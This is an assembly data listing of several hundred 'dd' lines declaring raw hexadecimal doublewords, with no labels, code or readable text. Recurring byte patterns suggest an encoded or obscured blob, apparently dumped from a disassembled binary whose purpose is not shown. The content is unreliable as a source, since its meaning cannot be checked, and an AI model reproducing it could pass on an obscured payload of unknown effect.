		dd 56ABB13Ch, 0E09DF958h, 0F96EC9D6h, 0D3022697h, 56BA4CA0h
		dd 565DB7DBh, 52972D32h, 565282DEh, 0D7CDD132h,	36D4DEF4h
		dd 56EA3E3Dh, 3714B132h, 4253B132h, 55DB132h, 359F6709h
		dd 0D16437BDh, 60F15099h, 9273F385h, 56D5D7D6h,	56735832h
		dd 7604B132h, 82AFF87Eh, 4647B132h, 6757B132h, 8C1BE1Ch
		dd 5B418132h, 7F8CC7E1h, 56317A22h, 56A95832h, 5708B132h
		dd 3C0DFE87h, 0E1078518h, 51AC9C9Eh, 32AE30B3h,	0AEEAB1CFh
		dd 0D67AB132h, 56BAB135h, 565C3F3Dh, 3652B132h,	5657B9DBh
		dd 8C0CD932h, 7C53B519h, 255DD18Ah, 37146FB9h, 5642B132h
		dd 56585832h, 0B62CB132h, 567F36A8h, 5923BE32h,	36D5B132h
		dd 0BF333A54h, 5675B137h, 0E07CA15Ch, 565DD0E8h, 56A2373Dh
		dd 0DC58B132h, 56ABB134h, 56D53F3Dh, 56EAB132h,	5675B4DBh
		dd 6A8AC932h, 565D6211h, 56AF373Dh, 56AFB132h, 56AB4932h
		dd 56D5B6DBh, 6CB94132h, 1E3FEBBFh, 5642B132h, 5DD2BE32h
		dd 36AEB132h, 79B73054h, 6311D715h, 56D5D069h, 56ED353Dh
		dd 0DA7AB132h, 56BAB133h, 0BF5DB1CEh, 56AEB13Bh, 0DFB33C46h
		dd 55B18C61h, 36D5B137h, 0D9E560B8h, 5675B132h,	59BAB153h
		dd 565DA6BBh, 472BBE32h, 0BF57B132h, 56ABB13Eh,	1FA7546Ah
		dd 2635359Ah, 2A8A7D76h, 564FB132h, 564D5832h, 1DB8B132h
		dd 0BF5A4BFFh, 0E4DA4E85h, 18DE36h, 56EAD80Eh, 0BF75B1CAh
		dd 56BAB120h, 0BD22995Eh, 955D5C14h, 4A86FA88h,	0DD472DCCh
		dd 56D56C29h, 56EABBDBh, 4C77B932h, 0A38A36C0h,	565D27A2h
		dd 56BE5832h, 0C968B132h, 6E748DDEh, 30374CACh,	0B21CB22Fh
		dd 56752E8Ah, 0AFBAB1CBh, 0BF3DB132h, 56AEB135h, 0ACF6C3BFh
		dd 0BE9F255Bh, 56D5B13Eh, 67CF7266h, 0BD9EA3A2h, 28716370h
		dd 37050586h, 0D6CEB132h, 0B5D632E7h, 0A4BBE5Ah, 59D5B153h
		dd 56EAA4B0h, 5A9CD132h, 34BAB132h, 4C22A0BBh, 0A89862FFh
		dd 74618C4h, 5CBD068h, 56173054h, 0D78CEE60h, 37897DD9h
		dd 0BEDAB132h, 565DB13Ah, 0A43EE00Bh, 3D353847h, 28400954h
		dd 37063A6Ch, 59EAB1CEh, 5675BDB7h, 503BBE32h, 595DB132h
		dd 56AEB1B4h, 5957B132h, 56ABA2BDh, 5B57BE32h, 0BFEAB132h
		dd 5675B13Ah, 2690BFC5h, 7AAA108Bh, 5D47B132h, 5D57B132h
		dd 0DB271AF6h, 37F4AC3Eh, 0A38A3A14h, 56146FB8h, 0BF46D132h
		dd 565DB134h, 8666D894h, 56362098h, 0DF1ED132h,	56D7383Dh
		dd 0AE61B132h, 96F4D153h, 1281D9FFh, 1BCE6D8Ah,	56AED037h
		dd 5657B7DBh, 51C2EE32h, 56F81131h, 56164832h, 59FABE32h
		dd 0BFBAB132h, 565DB138h, 4FC6D4CBh, 5C6959D9h,	56AB206Eh
		dd 56D5BDDBh, 0ACC59B32h, 166C0EC5h, 0E6DF20FFh, 365DB187h
		dd 5622BE52h, 0DD57B132h, 0D4A4D0C3h, 56D5B130h, 568B6484h
		dd 0BF154D32h, 56BAB123h, 0E7AABDCDh, 0FCF52AB1h, 53FEEB8h
		dd 0C4FA3AA0h, 716ED7E3h, 56EAD07Fh, 567548CBh,	56B2353Dh
		dd 0D452B132h, 56AEB130h, 0D058D052h, 56ABB133h, 0AED5B1CEh
		dd 0AF8AB132h, 5677333Dh, 37DAB132h, 590AD153h,	56AEB1BAh
		dd 0B0D7EA32h, 56ABD034h, 56D23B3Dh, 0DCE5B132h, 5675B133h
		dd 36BAB1C7h, 56D7BE65h, 8AEB132h, 0DD1A0B54h, 36ABB153h
		dd 0B644C98Ah, 56EAD030h, 56735852h, 0DE68B132h, 0C6DB6BCAh
		dd 56AC3A3Dh, 3737B132h, 0BFABB153h, 56D5B13Ch,	17A609D9h
		dd 7815CE45h, 0F0C79D7Ah, 565D3FBFh, 56A03E3Dh,	5FBEB132h
		dd 0BBABB132h, 528C01ABh, 7195A5BEh, 615B132h, 0B83BD769h
		dd 563C4A27h, 0DCCE4832h, 0AB9D31D4h, 0AAABB153h, 56DF373Dh
		dd 58AB132h, 4B873069h,	37D25804h, 36A5B132h, 0BE690E3Dh
		dd 5657B122h, 952065A7h, 55174560h, 188D951Fh, 74C48583h
		dd 56BAD06Bh, 53D9BECAh, 36AEB132h, 37A4063Dh, 59CBB132h
		dd 86547E8Dh, 6E964961h, 3675B153h, 4553D153h, 245DB132h
		dd 0E70D5D66h, 93C0DC5h, 3E68D8B1h, 0DC3EA65h, 580399F5h
		dd 0AE75B132h, 692D4CB7h, 64381A19h, 0E6206E10h, 5657D096h
		dd 56ABBCDBh, 0D0B89332h, 0FEB2C513h, 97CC61BFh, 0D1B5C1D9h
		dd 565DB13Eh, 13B70B52h, 0D73195BAh, 37F284FDh,	0D1DAB132h
		dd 56EAB121h, 5675BFDBh, 0E8A8E432h, 0CA2826F1h, 0E7D0189Fh
		dd 36A98E76h, 5E5B3054h, 56B449D9h, 516EBE32h, 5975B132h
		dd 56BAB0B3h, 56A54D32h, 375BD132h, 0CAE9D752h,	9114BEADh
		dd 59D5B153h, 56EAB0B0h, 0D6154932h, 5F53C7F3h,	895DB132h
		dd 8100F962h, 0CBDF9CEDh, 36ABB153h, 30B561B8h,	8C6170B9h
		dd 5675D053h, 56BAB8DBh, 0CFAC4332h, 0EA673E9Eh, 0D7580247h
		dd 56ABB139h, 9C5ED752h, 56EA3B3Dh, 5614B132h, 56BA4932h
		dd 0A35DB1C7h, 5F47B132h, 3957B132h, 32C9291Fh,	0F5CD7788h
		dd 4703B132h, 4F75B132h, 0E67025C5h, 9620BF12h,	0D26012A1h
		dd 8012B307h, 56AC343Dh, 0DFDAB132h, 56EAB133h,	0AF75B1CAh
		dd 0D6B5B132h, 565DB135h, 6F10D752h, 0BF364D8Ah, 56ABB134h
		dd 66B6B544h, 56EAAC43h
		dd 0BF75B1C7h, 56BAB13Eh, 4951364Ch, 0C0BA54B0h, 0F07F4C6Eh
		dd 30CBB132h, 0F74351B3h, 56EAA5DBh, 4F245132h,	583E98A0h
		dd 0D39E45EBh, 41BA7564h, 5708488Dh, 56ABD0ADh,	56D5BFDBh
		dd 45A77432h, 0A8C1BFAh, 53CEBD1Ch, 56C97AF2h, 56AE4932h
		dd 5657BEDBh, 9E9FB332h, 4C300187h, 0C5D71329h,	85E15F3Ch
		dd 5C53B132h, 5D5DB132h, 9C65DF9Fh, 53B3083Fh, 0BFABB1C2h
		dd 56D5B121h, 0D667E90Dh, 91EECEAAh, 0F06E8BDAh, 27854B84h
		dd 56EE5C07h, 56505832h, 0FE0B132h, 686F5D2Fh, 0BFEAB1D6h
		dd 5675B13Ah, 0AA98A0B0h, 16FA8FFDh, 5652B132h,	565E5832h
		dd 0C8D7B132h, 0AC3EF2ABh, 56D73D89h, 0DC6D132h, 56BAA1DBh
		dd 0D6F0532h, 83E4C851h, 38019E84h, 0B169810Ch,	56D5D0CFh
		dd 56EAB7DBh, 9E2C2D32h, 59438992h, 565DB9BEh, 5428BE32h
		dd 3657B132h, 0AAABB153h, 0BFB5B132h, 56EAB13Dh, 5D9B3E09h
		dd 888F892Eh, 0EDF87ABDh, 0DDFD2613h, 0DB58D0CCh, 56ABB139h
		dd 56D5B7DBh, 5BD06232h, 56492F9Bh, 56434832h, 0D052D132h
		dd 56AEB130h, 0ED3150B8h, 59CA3114h, 56D5BCB9h,	56E25832h
		dd 32E5B132h, 0D8800B82h, 565D3197h, 56AEBADBh,	7507F132h
		dd 89F2DC35h, 0B29694Dh, 0D6E5B132h, 5675B136h,	37E4E652h
		dd 0AAA4B132h, 0BFCEB132h, 5657B13Eh, 8F736303h, 60B693FCh
		dd 5B52237Ch, 5975B153h, 56BAB0B5h, 565D4932h, 56AEB9DBh
		dd 0E820FB32h, 3A6D275Ch, 59D5B119h, 56EAB0B5h,	56754D32h
		dd 46703052h, 30046EDEh, 36CF6BB9h, 565B313Dh, 0D2A4B132h
		dd 56D5B134h, 56EA3A3Dh, 569DB132h, 0CBAB132h, 0F9AE5BB3h
		dd 5A47B703h, 0E457B132h, 21D5C6B8h, 0B0AC76A0h, 3678981Ah
		dd 123EEB8Ah, 8EBE03Ah,	58B4D068h, 0BBAEB132h, 8AF3329Eh
		dd 0B9F04F27h, 0C3501159h, 6F3C8Ch, 0BF73819Fh,	56BAB135h
		dd 0F11C2D5Bh, 0DF20E39Fh, 67C089B0h, 3752D134h, 191B33BFh
		dd 4203B700h, 3E75B132h, 7715B1B1h, 0BDC851F1h,	0CF2CBAF6h
		dd 5073F7ADh, 59D1C236h, 56D5BDBAh, 56ED5832h, 0A09B132h
		dd 74145CF1h, 5DF38B1h,	36A880A5h, 5EBF45B8h, 0EAABB132h
		dd 0B77D8D35h, 7FE318Bh, 0BE14E86Dh, 56BA8584h,	56493E3Dh
		dd 5947B132h, 0F557B132h, 0FFA15C35h, 8204E2CFh, 0EB33DA5h
		dd 0C29DE8E5h, 36BAB130h, 259A60B3h, 0DDC8CC69h, 0D490D0EBh
		dd 509A279Dh, 56D5B132h, 56EABCDBh, 2867A432h, 78F331D6h
		dd 85045825h, 0A3FC7230h, 657A34F4h, 59FDB719h,	56D5BDB1h
		dd 506CBE32h, 5975B132h, 56BAB1BEh, 0EE0FD932h,	0A9522D9Ah
		dd 7D4C6C87h, 0D3264834h, 50FB32D9h, 0DFE5D152h, 5675B132h
		dd 56BAA0DBh, 0C8D2DA32h, 0E4F87AB8h, 0D1807751h, 9123E62Dh
		dd 59B40BBDh, 56EAB3BCh, 372AE032h, 36DA61CDh, 2EDF0A54h
		dd 56AEA5DBh, 6769E032h, 469898E9h, 8D027B27h, 740ACB75h
		dd 80B4BBC7h, 0BEDAD05Dh, 565DB13Dh, 93A8A6B7h,	0A7300CF6h
		dd 3B2A8AC6h, 0FD9A311h, 378B70B9h, 711434BBh, 5D53B719h
		dd 525DB132h, 77BE2EE1h, 0F9D1F2ECh, 52C117E5h,	56BD44CAh
		dd 0BFEAB122h, 5675B13Eh, 0EC0FE24h, 24FCCB0Ch,	6670AFFh
		dd 555AF15Ah, 56A75832h, 20E6B132h, 0F5AC95B4h,	0C821A5A1h
		dd 56D03453h, 565DB8DBh, 7DB30F32h, 11218363h, 865496DDh
		dd 56D5A1DBh, 0F473FE32h, 0B3E6B3B1h, 1F2D1629h, 569EB0E9h
		dd 4647EBDDh, 0F657B132h, 1484D397h, 270991DCh,	32F64623h
		dd 5DA145BEh, 6C3EBEF2h, 0BF5DB133h, 56AEB13Bh,	336097D7h
		dd 0EEF0C0F4h, 0F95738EEh, 0BFEC80A4h, 5675B13Ah, 557F3ECAh
		dd 0E79E312Ch, 0C04433BBh, 0EFA2B703h, 56A8BC72h, 56D5BADBh
		dd 3D53CB32h, 2834C408h, 5257002Bh, 303D49B9h, 0D7C84FB9h
		dd 37C2D4D5h, 46427101h, 17D5B132h, 0F7EC0A16h,	7170C4F4h
		dd 0FAB49092h, 0A55A4D28h, 0B216D198h, 0ED4A6655h, 2F611877h
		dd 0D7B5E353h, 746865E0h, 521FD012h, 8F6A3152h,	565B323Dh
		dd 0DEA1B132h, 5657B132h, 46ABD953h, 423CB132h,	1CEAB132h
		dd 0C41FEA69h, 3CB9402Eh, 522DAEB8h, 1BD3307h, 3EFCAFEEh
		dd 56ABB532h, 0BFD5DBCEh, 56EAB13Ah, 85FF4703h,	2121BEF7h
		dd 45B4D152h, 0A7AEB132h, 36D734AFh, 0CE0CB7EBh, 0C6F72CCEh
		dd 35FF6A8Fh, 469C7DE1h, 9FBAB132h, 6B2B3952h, 41C33C2Dh
		dd 7F0F9A6Ch, 3779ABD0h, 56D5B4DBh, 0F1BB5732h,	0A914B70Fh
		dd 7D9DD0A0h, 40DABE34h, 0BFAEB132h, 5657B123h,	6547B50Bh
		dd 39B8A437h, 4613C7EEh, 0C2484C09h, 5153EB8Ah,	6E5DB132h
		dd 52389DF9h, 0D4DE7E31h, 509A2B27h, 56D5B9DBh,	0A9221F32h
		dd 510032Ah, 0DD42D06Bh, 67CB1EB7h, 0BF6D4D34h,	5657B135h
		dd 164DD053h, 36FEA3E2h, 56EAB8DBh, 0A5CC0332h,	0A7CDC2DDh
		dd 0D49AB256h, 5085BA3Bh, 5617B132h, 56ABBADBh,	327F6432h
		dd 0CBFCF470h, 0D513B136h, 768F33F5h, 465DB719h, 36CEB132h
		dd 0E931D052h, 0D7CA0B62h, 0A195E1E5h, 368BD078h, 77A00B54h
		dd 364F7253h, 5679343Dh, 0BFCEB132h, 5657B137h,	6088C08Ch
		dd 56C7593Ch, 3521B132h, 0F80F0CDBh, 2A38A583h,	2430E74Eh
		dd 6A06C73h, 0ECDCD06Ah, 509A279Dh, 0A154D752h,	598A0345h
		dd 5675B1B4h, 56B65832h, 0D95FB132h, 50523AFDh,	7300E39Eh
		dd 37CA712Fh, 56D5BFDBh, 0B829B632h, 508E2C05h,	0CA319ED3h
		dd 0D55C3CD9h, 0D2A1B10Dh, 5657B19Eh, 46D432CBh, 0C51BE30h
		dd 59EAB132h, 5675A4BCh, 5932BE32h, 0BF5DB132h,	56AEB138h
		dd 4499387Bh, 5958E8FBh, 0BFB5386Bh, 56EAB135h,	0AB2830B9h
		dd 3099D6CDh, 550E78B3h, 46D13253h, 16D3BE36h, 0A3ABB132h
		dd 0BFC176B1h, 56EAB134h, 79B7994Bh, 0F653F890h, 59A24ECDh
		dd 56AEB9B7h, 54D2BE32h, 36ABB132h, 46927653h, 56EAB133h
		dd 5675BDDBh, 28EDA432h, 1D135065h, 45E8A97h, 0A99558A1h
		dd 91534ECDh, 56D6A175h, 0DC8AB132h, 218630F4h,	37890BB9h
		dd 565DBCDBh, 0A50C9832h, 1AFBF99Ch, 65FA6B07h,	0CF3C106Ah
		dd 0A3154ECDh, 0EF13D153h, 3742A046h, 565A58F1h, 513AB132h
		dd 0F2A26DB6h, 5724BE6Ch, 0AED5B132h, 0BA614867h, 5675BFDBh
		dd 63ADAB32h, 6EED8381h, 28FD45DBh, 0BF1B2209h,	56ABB137h
		dd 573C1EAAh, 0DDE5D1F3h, 5675B12Ch, 56A23A3Dh,	45B4B132h
		dd 1AAEB132h, 0D1F9893Dh, 2A3E824Eh, 45B6648Bh,	0BC9C4EB4h
		dd 569D3D4Ch, 0CBAB132h, 0E34E5BB3h, 0BF57B703h, 5657B121h
		dd 9829E9Dh, 55E1CA83h,	0FFA560Dh, 5A267396h, 0DD0CACD9h
		dd 67C78580h, 5347D134h, 0CF57B132h, 886806BFh,	5E903A53h
		dd 0E98C4852h, 0DF14F39Ah, 0D4394D34h, 506C2B06h, 56A35836h
		dd 0D4AEB132h, 0C55B531Dh, 68720DE1h, 3709F1FDh, 948D78CBh
		dd 0A3DAB136h, 0BDB840B3h, 36CFC801h, 5657A1DBh, 24363D32h
		dd 0B708C323h, 161D2466h, 61262AC9h, 56BA595Ah,	0D707B132h
		dd 671B27D8h, 5ABE4434h, 4EABB132h, 8FF3BEA8h, 119F89EEh
		dd 0DD1A4AD6h, 6720A480h, 57D6BE34h, 0A3AEB132h, 0CC630309h
		dd 0D2A4B703h, 56D5B0E7h, 56E4323Dh, 5F9CB132h,	20BAB132h
		dd 1407E4C3h, 0DB0AA399h, 59378FB9h, 56ABA4B3h,	56C55832h
		dd 956DB132h, 426DB05Ch, 7B5B6529h, 0E022AC18h,	0D7A1BF23h
		dd 5657B12Bh, 56ABA5DBh, 0D73C9E32h, 9B22ED21h,	8B52E93Bh
		dd 0DD2A7136h, 1A8E526Dh, 8925D020h, 564C3C3Dh,	0DCA4B132h
		dd 56D5B127h, 56EAA1DBh
		dd 3E77E732h, 5E5D562Eh, 519AE116h, 9F1418F3h, 19E1BE03h
		dd 0D0A4D133h, 56D5B126h, 56EABFDAh, 5505C532h,	294E2429h
		dd 5949ADF5h, 0C632542h, 11A1D0CBh, 0D3A43133h,	56D5B16Fh
		dd 56E4323Dh, 5F9CB132h, 0AEBAB132h, 139D8E74h,	6C3C015Eh
		dd 0D1586831h, 56ABB128h, 56C65852h, 47ABB132h,	0C87AB3D5h
		dd 54B60D38h, 87A514C4h, 0F093B6C1h, 78BED0FFh,	0BFABB132h
		dd 56D5B134h, 401325CEh, 449C1DEBh, 84BAB132h, 0FCF14F9Eh
		dd 64C3A7E7h, 0EBB63588h, 5710E90h, 0AA0C9AF6h,	8C53D752h
		dd 189731F1h, 0DDB5F253h, 565DB13Eh, 0B42FD752h, 0D7310410h
		dd 370E0BE4h, 8554D171h, 39E94B72h, 5675BFDAh, 72C63B32h
		dd 854D30A6h, 46715559h, 306620D3h, 0CF6E63B3h,	0DDB5D06Ch
		dd 56EC58EDh, 0FA57B132h, 43D055Ch, 73D83A53h, 59A89A02h
		dd 5657B6BEh, 4E11D132h, 37E8223Eh, 780F3CB9h, 6D8CB719h
		dd 6438BEEAh, 0AE5DB132h, 0D1A16809h, 5657B11Bh, 56ABA0DBh
		dd 6D757032h, 0A305B45Fh, 0EA49EA87h, 9ECDF4Ch,	90DE3EF6h
		dd 0B474D36h, 0BFA84ECCh, 56ABB137h, 5E6A517Fh,	59258A5Eh
		dd 56759DB6h, 4239BE32h, 595DB132h, 56AEBFBDh, 565E5832h
		dd 0E053B132h, 2C0323E6h, 0DF8F7E3Bh, 7D5B548Fh, 4E534434h
		dd 36A24ECCh, 291CC783h, 0BF37D053h, 56ABB135h,	0DA7F7CC9h
		dd 59269AF0h, 95147A8Dh, 56B63C3Dh, 0D952B132h,	56AEB134h
		dd 5657323Dh, 59CBB132h, 56D5ADB3h, 406CBE32h, 0BF75B132h
		dd 56BAB123h, 0C60BB821h, 57A0ADF3h, 2B54A38Ah,	88E098D1h
		dd 56D55977h, 0D7B0B132h, 67C25BD8h, 8031D134h,	0BF3C79B9h
		dd 56AEB122h, 0C754F736h, 2FDF21F1h, 0EA198237h, 0C71BCBDCh
		dd 0CC600BB9h, 0DAB5B703h, 565DB133h, 57AE08C7h, 5BBEB132h
		dd 9FABB132h, 0A420AB25h, 932A0EDAh, 89D9F86Ch,	0A5427101h
		dd 56555899h, 0C11FB132h, 0E4C14391h, 44426E91h, 31D5B132h
		dd 0D7D145C3h, 5A67925Fh, 1FD7468Ah, 0B86E0E23h, 432C3A95h
		dd 595180A8h, 56ABB0B8h, 0D45C4D32h, 50DB2B06h,	0ED134452h
		dd 37DBCB28h, 565C383Dh, 955BB132h, 58BED1CEh, 6AABB132h
		dd 0FD390DD8h, 956E3D26h, 50F58A27h, 5652485Ah,	0C5DB132h
		dd 0EE395BB3h, 0D658B703h, 56ABB12Dh, 56CC3A3Dh, 4203B132h
		dd 9075B132h, 0C2E7FF29h, 41B9D2AAh, 0E5EAC47Dh, 0A36A95A1h
		dd 3638F949h, 56D43C3Dh, 0D713B132h, 40ACC5E4h,	9042D028h
		dd 7D6E9CB7h, 0DDCEE734h, 90D6D7F9h, 0BFCA73C2h, 56D5B13Fh
		dd 0BAC07E8h, 59DD7B2Eh, 0D9C48EF6h, 3B64D959h,	0D9A1652Dh
		dd 5657B13Ah, 56A9303Dh, 37B5B132h, 8B5F4ECBh, 36739A29h
		dd 0DBDB79B9h, 78DE5AB7h, 321AD134h, 59874E53h,	56ABA8BFh
		dd 56C15832h, 3766B132h, 4A29A99h, 0D0011532h, 0CC6BF6E5h
		dd 87ADB7CFh, 0BF055256h, 56ABB13Ah, 0F6EE44CFh, 0E99A31C7h
		dd 5AFBBE62h, 59BAB132h, 565DB7B6h, 562DBE32h, 3E57B132h
		dd 56AB3132h, 56DB3A3Dh, 5F03B132h, 0E575B132h,	0DD6C3471h
		dd 440848C7h, 0BFCEB158h, 5657B139h, 36270194h,	0EC4BCE47h
		dd 0BE48D62Ah, 5675B13Eh, 0B117240h, 13657D5Dh,	21A89866h
		dd 56573D3Dh, 37F2B132h, 0C07A03CDh, 4203B703h,	4075B132h
		dd 83AD0B45h, 9BC3B943h, 0F30DF1BDh, 0BCA48F31h, 0A96007DBh
		dd 56DF58E2h, 934B132h,	8385656Eh, 160420D6h, 0CE8D16Ah
		dd 38603054h, 0BF0DD065h, 56ABB123h, 3F56EE59h,	0DBDD9F1h
		dd 7EB2EA24h, 5A222642h, 0D7EED10Ch, 56A75952h,	0BBEEB132h
		dd 6FD6E04Eh, 0DCB3489h, 56EA3A3Dh, 3714B132h, 563AB15Ah
		dd 56374432h, 56AEB6DBh, 0B9CE8332h, 1D32A78Bh,	0CCC003CDh
		dd 5E03B703h, 0E775B132h, 7AD3D3D5h, 0A922E19Eh, 5A2CBEE2h
		dd 5957B132h, 56ABB7B7h, 5657BE32h, 0BFEAB132h,	5675B134h
		dd 0E4200C7Bh, 0A33C73CDh, 131CD1F1h, 37893A54h, 0DDCDD167h
		dd 373405C0h, 36063AC7h, 792E70B3h, 455383CBh, 0A85DB132h
		dd 9BC908FCh, 78B126ECh, 47E69204h, 32F17D09h, 368BC626h
		dd 56603F3Dh, 4653B132h, 0FF5DB132h, 6C7017DEh,	693F6A58h
		dd 4E1D500h, 0BF298C67h, 56EAB126h, 29F1F9C4h, 588307E5h
		dd 0A5925686h, 534EA297h, 219730D6h, 56ABB1DAh,	0BC54EB32h
		dd 50DB0BF7h, 5675BBDBh, 0E8740C32h, 0A5458D5h,	36B721ECh
		dd 0E580063Dh, 2320D0FAh, 5D50BE3Ah, 0BFEAB132h, 5675B134h
		dd 0EC31BC8Eh, 0D7B502F1h, 36AEB13Ch, 9E6061B3h, 0E8CD9927h
		dd 0BFB46729h, 56EAB120h, 676B339Ch, 0D145EC89h, 0A5896C85h
		dd 9471F72Ah, 5902F93Eh, 56ABA2B3h, 56DB5832h, 87C0B132h
		dd 1E78C25Fh, 48859577h, 32EC2F16h, 56AEA1DBh, 7B9BE332h
		dd 0D8E1A915h, 3F4CE507h, 0C7BD9FBBh, 6EE74E5Dh, 59BC80A5h
		dd 565DA8BDh, 452CBE32h, 0BF57B132h, 56ABB13Ch,	24074214h
		dd 4F1D3532h, 3553F8BAh, 0AEE7E9A8h, 5951C409h,	0A951C8B7h
		dd 0DB58D1CDh, 56ABB13Dh, 56D5BBDBh, 316F4B32h,	0AAE2F5FBh
		dd 37CA5FA0h, 565052DAh, 5724BE32h, 0AF57B132h,	59624853h
		dd 56D5BFB6h, 0DAE5D132h, 5675B132h, 56BA3C3Dh,	943CB132h
		dd 0D6A1B13Ah, 5657B135h, 56AA3D3Dh, 320B132h, 0D3E5D152h
		dd 5675B132h, 30DB40B9h, 0DD3C48B9h, 5129BEDEh,	5957B132h
		dd 56ABB0BCh, 92564932h, 56FB58CEh, 980BB132h, 8A1070Bh
		dd 4DE804F5h, 19C8C565h, 36439A78h, 8014BE60h, 56DE586Dh
		dd 51BBB132h, 0CBFFD1C9h, 0C0A658E2h, 0BF0BD006h, 56AEB13Fh
		dd 0C6BDB97Fh, 0A2C9B987h, 3BB61E60h, 0D4E5E6AFh, 5675B13Ah
		dd 56B8353Dh, 373DB132h, 5722BE61h, 0AA57B132h,	0EC0F0A52h
		dd 456D859Ah, 37AD855Ah, 5675B1DAh, 0BC3BEB32h,	506C0D63h
		dd 56AEA1DBh, 4FA3CE32h, 1F9F382Dh, 0F9CFA018h,	3B6866A9h
		dd 43F3BED4h, 0BFBAB132h, 565DB122h, 0FD149227h, 3934E0D8h
		dd 301C3BC0h, 1772C4AAh, 0A3E2C4B9h, 5965CCB9h,	56BABDBFh
		dd 565A5832h, 0B20B132h, 6C2D9066h, 0DEA4E67Ch,	56D5B133h
		dd 0BE13E7CBh, 5675B092h, 597ABAC7h, 565D6DB6h,	30CE4932h
		dd 0DD316FB9h, 0AE20D0E5h, 56DE3F3Dh, 598AB132h, 5675B1BCh
		dd 950DBE32h, 0D752E453h, 56AEB13Eh, 5657B6DBh,	9DE80832h
		dd 0DFBA71FBh, 56F43A3Dh, 0D67AB132h, 56BAB12Ah, 565DA2DBh
		dd 36117932h, 0C6C1515Ch, 84A045B3h, 21229328h,	0DE51B757h
		dd 0C14D23CDh, 5353B703h, 45DB132h, 446984A1h, 0D858ECCEh
		dd 56ABB135h, 56D4393Dh, 6D16B132h, 0D27ABD47h,	56BAB153h
		dd 48D6D7CAh, 56AEB4DBh, 0F5DB7032h, 0B12B0023h, 4555BEC2h
		dd 36EAB132h, 5675BADBh, 4EA11932h, 9DF345ECh, 761427B8h
		dd 48DDD0CBh, 56A75852h, 0CF90B132h, 0B4A477EAh, 487F21EBh
		dd 993A3A3Bh, 0B5DDD0F7h, 0F9464DC2h, 3657B116h, 0BF5B063Dh
		dd 56D5B134h, 9D0358B5h, 0BF141B5Dh, 0A9454E3Fh, 0AA2038CAh
		dd 56B8353Dh, 47BEB132h, 95ABB132h, 0B8E0F9EFh,	86D56723h
		dd 31457869h, 54726A38h, 0A38459CAh, 0D5B4ECDh,	537EEC7h
		dd 0BFF5DB80h, 56D5B121h, 0F6815E69h, 2ACB24B7h, 0C9B5382Ah
		dd 266FC28Eh, 37BF23A3h, 51BED16Ch, 12ABB132h, 4139534h
		dd 0B96A7EABh, 13FED0CBh, 0EFDCD1CEh, 44B425CDh, 0E5AEB132h
		dd 9A3CEA88h, 0D83A25C6h, 1C3149A0h, 4A57B2E0h,	0BF15D018h
		dd 56BAB138h, 62B8D3B9h, 0ABBCEBF7h, 80D64FFCh,	11BBF9B0h
		dd 0D0DA7853h, 56EAB13Eh
		dd 5673373Dh, 0D8B5B132h, 565DB132h, 0BFAEBDF0h, 5657B122h
		dd 0FBBAD6AFh, 1F9B7EBEh, 9C6E448Eh, 4BDA5D32h,	0BA314467h
		dd 565DBDDBh, 7BC2C132h, 509C6BF5h, 0C4938203h,	0AE1132C0h
		dd 56FC3C3Dh, 479CB132h, 0E1BAB132h, 0AC98253Ah, 2E0997E7h
		dd 245E36C3h, 857675D7h, 56D5B4DBh, 0FEEEB432h,	0A322F3CBh
		dd 56AB5864h, 3A72B132h, 41C4ED0h, 0E1773E9Fh, 0EC0A03CEh
		dd 73505A3h, 56EABBDBh,	0D96E3C32h, 380A49FCh, 516A302h
		dd 0AEEB76CEh, 5657B132h, 47434952h, 49D5B132h,	0F2D0380h
		dd 0D9D6D3E3h, 146DEAF4h, 6869F9B4h, 43E8648Ah,	9136EB45h
		dd 6732EAB0h, 56D5B034h, 5761BE32h, 0AE75B132h,	0BFB2C4B9h
		dd 565DB139h, 4C58F08Fh, 429EA63Ch, 306D6528h, 0DDDAAFB9h
		dd 56EAB120h, 5675BCDBh, 0AE479D32h, 5F28C3CBh,	90DF5A22h
		dd 0ECDC35F7h, 509A279Dh, 5E8A3AC7h, 56EAB8DBh,	0C134DD32h
		dd 0B11F0E41h, 593DF4E4h, 56AEB4B2h, 9ED6D732h,	454233BBh
		dd 68D5B132h, 15675C42h, 3281ED4Dh, 927EB7D6h, 99467CE0h
		dd 5DCF11D5h, 0D7D3BEE9h, 36ABB132h, 83FAB688h,	0D6193013h
		dd 371ACD2Bh, 56BB3A3Dh, 6DA4B132h, 132BBEECh, 5957B132h
		dd 56ABA4BDh, 583CD132h, 0F8EAB132h, 0C1E28C4h,	243C2DCAh
		dd 76E6AF9Eh, 5047D011h, 0F657B132h, 0EEFC7EB9h, 5A883AAAh
		dd 56EAB7DBh, 984D1E32h, 0DFC920A1h, 5FB4BD6Dh,	0D3AEB132h
		dd 3EA8E943h, 369B5DC1h, 36C176B1h, 50400E54h, 0A9265853h
		dd 0E1DA4ECDh, 0D352D150h, 56AEB132h, 5657383Dh, 37CAB132h
		dd 36CB3A54h, 566BBECAh, 3775B132h, 0BE4131CAh,	5570353Dh
		dd 0D65BB132h, 0D25858C9h, 56ABB211h, 555FBE52h, 59EAB132h
		dd 9FF44785h, 0F3185E3h, 0BDA63153h, 55A7353Dh,	0D6AEB132h
		dd 0D2A453C9h, 56D5B3FEh, 0CB50D752h, 7A4306Fh,	37FBD594h
		dd 59BE4AB2h, 56AC3FB6h, 88D6D132h, 6453D908h, 56D1383Dh
		dd 0EF8CB132h, 301409B1h, 0B5DD4AB3h, 54C7353Dh, 36CEB132h
		dd 7FCD42B3h, 5C4399D6h, 0C4D5B132h, 0BBD4E48Fh, 0A202B149h
		dd 59DBEEA3h, 565DB2B3h, 0E74D3132h, 0A6B03153h, 0AD2AD7CBh
		dd 0D2DA313Dh, 56EAB3A9h, 5675BBDBh, 5B88AF32h,	0C9557903h
		dd 0D65D520Dh, 0D6AB41D1h, 0D2A4C1C9h, 56D5B34Dh, 56EABFDBh
		dd 0F1C7E332h, 9DA4CDB6h, 0EB68F028h, 30D3839Ch, 3037AFB9h
		dd 952A6EB9h, 0C3CA843h, 0DD8CD153h, 56FDBEEBh,	37BAB132h
		dd 36A552B2h, 0E8F940B9h, 2E2D3472h, 0AD2BD069h, 4A51BE8Ah
		dd 59EAB133h, 5675BDBCh, 5038BE32h, 595DB132h, 56AEB1B8h
		dd 53693132h, 57AA353Dh, 5B5B132h, 0AFB3D052h, 7B4B3153h
		dd 564B353Dh, 0AFA8B132h, 59C68FB2h, 565757B6h,	56A75832h
		dd 0BC38B132h, 6D5F6431h, 95C17B52h, 5F538EF7h,	0E5DB132h
		dd 1AAC235Ah, 0D8AC5401h, 0CFF033CDh, 3020B703h, 0D612AFB9h
